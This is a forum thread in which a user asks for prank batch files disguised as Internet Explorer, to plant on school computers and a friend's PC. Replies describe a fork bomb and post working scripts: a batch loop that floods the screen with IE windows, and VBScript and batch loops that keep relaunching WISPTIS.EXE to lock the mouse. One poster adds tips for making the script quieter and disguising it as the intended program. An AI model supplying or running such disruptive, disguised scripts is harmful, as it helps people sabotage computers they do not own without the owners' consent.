Need fun Batch Files.

[Hiiro326]

Hi. um. I need some fun Batch files to like, be disguised as Internet Explorer, I need it to start loving with the computer every time you run it.

Like,

Open internet explorer (Batch File, renamed, new icon), it also starts opening and closing your disk drive.

Does anyone have something like this?

ty :))))

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[Kingdaro]

yeah, that'll teach them to not use stuffternet assplorer

[otto-san]

yeah, that'll teach them to not use stuffternet assplorer

I should do that at every school that still uses IE then.

[Hiiro326]

yeah, that'll teach them to not use stuffternet assplorer

I actually want to install it on a few computers at school and at my friend's house.

Hopefully it will teach them!

[Dropshock]

If your school's computers can actually run batch files then they've got some serious security issues.

[otto-san]

If your school's computers can actually run batch files then they've got some serious security issues.

I fiddled with batch files for a bit in the computer lab and figured out that if my school had their network set up correctly, I could remotely shut down any computer in the school. 


That's fairly simple-to-do, though.

[Hiiro326]

If your school's computers can actually run batch files then they've got some serious security issues.

They can. I had one open and close a disk tray all day today.

[Doomonkey]

My friend made a vbscript file that opens and closes the CD drive. I could probably give you that.

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[Lando The Climber]

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wut

fork bomb. make that in notepad, save it as a .bat, then when you run it basically just vomits processes everywhere and ends up wrecking the computer so long as they run.

[Doomonkey]

Wow, just made a batch file.

Apparently if you run the screen saver process like 500 times, you can't right click and have to start the task manager using run. Then you have to individually stop all of the screen savers.

[dorkdotdan]

Wow, just made a batch file.

Apparently if you run the screen saver process like 500 times, you can't right click and have to start the task manager using run. Then you have to individually stop all of the screen savers.

My schools disabled the "Run" app for a while, and this year, they disabled right click on any Windows Explorer window.

[dkamm65]

This bombs you with IE windows. Use at your own risk.

Code: [Select]

@echo off
:A
start iexplore google.com
goto:A

[Doomonkey]

VBScript that should make it so you cannot move the mouse, click, or right-click:

Code: [Select]

Dim objShell
Set objShell = WScript.CreateObject ("WScript.shell")
Do
objShell.run "%windir%\system32\WISPTIS.EXE -f"
While 1=1
Set objShell = Nothing
Batch for same function:

Code: [Select]

Echo OFF
:line
start %windir%\system32\WISPTIS.EXE -f
cls
goto :line
Waning: With the VBScript, task manager must be used to stop the script before you can end all of the processes. However, VBScript is probably not blocked on school computers and runs in the background.

EDIT: For even more fun, limit the programs to only running two of the Wisptis.exes so they are more incognito. Also have the disguised link also start the program it was intended to start.